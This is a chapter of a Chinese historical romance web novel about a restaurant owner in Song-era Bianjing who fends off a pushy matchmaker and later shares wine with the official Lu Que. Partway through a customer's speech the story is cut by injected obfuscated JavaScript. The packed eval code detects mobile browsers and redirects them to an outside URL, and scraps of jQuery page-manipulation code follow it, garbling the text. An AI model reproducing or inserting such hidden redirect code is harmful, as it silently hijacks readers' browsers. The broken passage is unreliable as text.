张大娘一把拽住沈芙蕖的衣袖，嗓门亮得半个店堂都能听见：“哎呀！上次回去大娘我仔细想了想你和程娘子的话，沈娘子，也怪我说话太直，让你难为情了是不是？姑娘家矜持一点也好！今天，我把人给你带来了。”


    “你瞧瞧我这侄儿……”张大娘将那瘦削小伙往前一推，就像推销自家炊饼一样：“这眉眼，这身板，天庭饱满，地阁方圆，简直就是画上的潘安！虽说皮肤黑了点，可那是正经干活儿晒出来的，比那些白面书生不知强多少倍！”


    沈芙蕖没见之前，还以为她侄儿是个多么标志的人物，听张大娘描述，他身高有七尺五寸，站在人堆里就跟棵青松似的，那肩膀宽的，扛起百十斤的木料都不带晃的。


    可眼前的人除了身高没造假外，其他全部对不上啊，就是一个街上随处可见的普通人。这……货不对板吧。


    沈芙蕖唇角挂着客套的笑：“大娘说笑了，我这会儿还得去后厨盯着火候……”


    “哎哟，灶上的事交给伙计不就行了？”张大娘不依不饶地堵住去路：“女人家终究要嫁人的，你这铺子再红火，难道还能当一辈子掌柜？”


    她说着竟掏出一块绣着鸳鸯的红绸，无耻道：“瞧瞧，我们家连定亲的聘礼都备好了！绝不亏待你！”


    张勉涨红了脸，眼睛却直往沈芙蕖腰间荷包上瞟，那鼓鼓囊囊的轮廓，少说能装五两银子吧，这般能干，更让他自惭形秽。


    张大娘这一番说亲的动静，引得满堂食客都搁下了筷子。有人伸长脖子张望，有人交头接耳，更有好事者干脆转过身来，明目张胆地看起热闹。


    “我觉得这话倒也在理。”一个穿着粗布短打的汉子低声对同伴道：“女子家再怎么能干，终究是要嫁人的。而且我瞧呐，这小伙长得也算周正……”


    邻桌的老秀才却连连摇头：“非也非也！《礼记》有云：男女非有行媒，不相知名。这般当众说亲，实在有违礼数！”


    角落里几个常客更是面露不屑：“这老婆子好不识趣！没见沈娘子都躲到柜台后头去了？还这般死缠烂打，真是没羞，说媒也不是这么个说法……”


    话未说完，便被同伴使眼色止住，张大娘正竖着耳朵往这边瞧，狠狠给了她们一个“多管闲事”的凶狠眼神。


    最尴尬的要数张勉，他坐在堂中，只觉得四面八方投来的目光像针一样扎在身上。姑母每夸一句，他的背就佝偻一分，最后几乎要把脸埋进衣领里。


    沈芙蕖看出了张勉的难为情，估摸也是个没主意的男子，长辈要他做什么，他也不好意思拒绝。


    大双皱着眉，挽了把衣袖，这大娘怎么没完没了的？若是再耽误店里做生意，他可就要把这姑侄俩提溜出去了。


    正当沈芙蕖进退两难时，鹦鹉蹦跶着欢快喊道：“客官里面请！客官里面请！官人真俊！官人真俊！”


    众人不约而同转头望去。


    陆却一袭靛蓝私服立在门口，他眼如墨，鼻若悬胆，唇薄如刃。漆黑如点漆，冷冷一扫，便叫喧闹的食肆霎时鸦雀无声。


    他目光在张大娘攥着红绸的手上停留一瞬，又淡淡扫过张勉那张涨成猪肝色的脸。


    “一碗馄饨。”他径直走向角落的方桌，拉开凳子坐了上去。


    张大娘的手僵在半空，她还没见过长得这般像谪仙的人物，硬生生将刚才那句形容侄儿“貌若潘安”的词咽了回去。


    阿虞最先回过神，喊了声“马上来”，经过大双身边时，还促狭地眨了眨眼。


    大双嘀咕着，芙蓉盏如今不卖馄饨，若是想吃，还要现擀皮、调馅儿，只怕客人等不急，不知为何，阿虞不提醒。


    沈芙蕖松了一口气，陆却一来，她总算可以脱身，拎着壶茶便走了过去，装作很熟的样子，热络道：“大人今日怎的得空来小店？”


    原来，大理寺一名衙役在办案过程中，马儿发狂将人从马背上摔下来，摔死了，也算是因公殉职。


    作为顶层上峰，陆却带着同僚亲来吊唁，死的衙役很年轻，上有老下有小，妻子肚子里还有一个遗腹子，哭得几度昏厥。


    从那衙役家中走出来，心里不是滋味，走着走着便来到了芙蓉盏，他特别想吃一口滚烫的食物。


    陆却早就到门口了，总觉得没想到合适的理由进来，直到听到一位大娘硬要把侄子塞与她，他便进来了，这些话，陆却没说，目光在她腕间顿了顿，只说：“正好路过。那位是？”


    “哦，都是街坊邻居罢了。”沈芙蕖侧身挡住张大娘探究的视线。


    角落里，张勉缩着脖子往姑母身后躲。他虽不认得那陆却是何人，只晓得这长相，这气度，绝非一般人能比，之前让他打雕花床的李员外，也没他有气质呢！


    躲什么呐！张大娘看见侄子这般上不得台面的举动，讪讪地收起红绸，拽着侄子往外挪。


    “沈娘子，大娘也是一片好心，你可别不识抬举！别以为开个小铺子，攀扯上几个体面人，就真当自己是个人物了。朱门配朱门，竹门配竹门，你家一个卖盐的，就该找一个打木头的。我劝你别存那些不着调的心思。有些人啊，可不是你这样的身份能惦记的，别用错了心思，到头来竹篮打水一场空呢！”张大娘忍不住讥诮道。


    这话不说还好，一说沈芙蕖的怒火蹭蹭往上冒，说道：“大娘这话，倒让我想起西瓦子说书人常讲的一句古话：燕雀不知鸿鹄志，蚍蜉妄撼参天木。我沈芙蕖的芙蓉盏，一日流水抵得上木匠铺半月盈余。我办的筵席，能进汴京七十二正店的席面。我结交的贵人，敬的是我这一双手的本事，而非祖上荫庇。今日既然把话说到这份上，不如先把饭钱结清了，再论什么朱门竹门？二十文一碗，概不赊账。”


    食客们传来压抑的嗤笑声。“好了大娘，别再王婆卖瓜自卖自夸了，你家侄子，确实挺一般的，你就别难为人家沈掌柜了……”


    “大娘，你有这当媒人的劲头，不如好好钻研你们家的炊饼罢，最近烤得是越来越老了，差点把我的大板牙给磕掉。再这么下去，你那


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16099611|179799||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    生意都得黄！”


    张大娘脸色由红转青，臊得把侄子拉走，临出门时又忍不住回头，正瞧见陆却从沈芙蕖手中接过碗勺。


    阿虞对着门外的鹦鹉，小声嘀咕：“以后你若是瞧见这姑侄俩，就在外头喊几声不要脸，听见没？”


    店内喧嚷，张大娘方才那番话还飘在耳边，沈芙蕖却已转身去招呼其他客人。她步履轻盈，声音清亮，仿佛方才的难堪从未发生。


    陆却舀起一颗馄饨，入口鲜香，和之前的那一碗味道一样好，心中却莫名尝出一丝涩意。


    他想起周寺正的话，这世道，一个女子讨生活是很不容易的，太多的偏见会让她们受更多的委屈。沈芙蕖既要应付市井闲言，又要抵挡明枪暗箭，纵有七窍玲珑心，也难免遍体鳞伤。


    陆却眼前浮现那个惨死的下属，他那清贫的家……沈芙蕖手上细小的伤口，勉强的笑……一直在芙蓉盏坐到所有食客都已离去。


    沈芙蕖并不知陆却心中所想，只看见一碗馄饨他并没有用多少，所以格外担心他没吃好。


    “陆大人，我们掌柜说您是大股东，为报答您对芙蓉盏的投资，特请您上二楼雅间一叙。”阿虞摇头晃脑向陆却转告。


    雅间内，沈芙蕖亲手布菜，一碟卤鸭翅和豆干，还有新烤的羊肉串，炭火的香气混着西域孜然，在室内氤氲开来。


    她斟了两盏青梅酒，琥珀色的酒液在瓷杯中轻晃。


    沈芙蕖将酒盏推至陆却面前：“这酒是阿虞她阿婆花婆婆酿的，用的是城外的青梅，酸甜正好，不醉人。”


    陆却接过，却未多言，只将酒一饮而尽。酒液清冽，带着微微的酸，像是藏了许多未说出口的话。


    “方才的事，倒让大人见笑了。”沈芙蕖执壶斟酒，眉眼间带着几分赧然：“草市坊就是这般模样。有花婆婆那样古道热肠的老辈人，有阿虞这般心直口快的傻丫头，自然也少不了几个市侩精明的生意人。可正是这形形色色的面孔，才让汴京城的烟火气这般鲜活，您说是不是？”


    陆却却放下酒盏，目光沉静地望过来：“你想说什么？”


    “我瞧大人今日眉头紧锁，似是有郁结在心中。我想告诉大人，生活就是这样，有酸有甜，有苦有涩，我沈芙蕖乐在其中，望大人也是。”一杯酒下肚，话匣子便也松了。


    沈芙蕖倚在窗边，望着楼下零星的行人，声音轻得像是自语：“小时候，我娘总说，女子这一生，不过是父家到夫家的一段路。我不觉得，凭什么女子就不能自己挣一条路？”


    陆却静静听着，想起白日里张大娘那副嘴脸，胸口又莫名发闷。他又斟了一杯酒，这次喝得慢，任由那酸甜在舌尖蔓延。


    “你做得很好。”他突然道，声音低沉，却字字清晰。


    沈芙蕖一怔，转头看他，陆却的侧脸线条硬朗，眉宇间的冷峻似乎被酒意柔化了几分。


    她忽然笑了，眼角微微弯起：“大人这是在夸我吗？”


    “是。”陆却回答得干脆。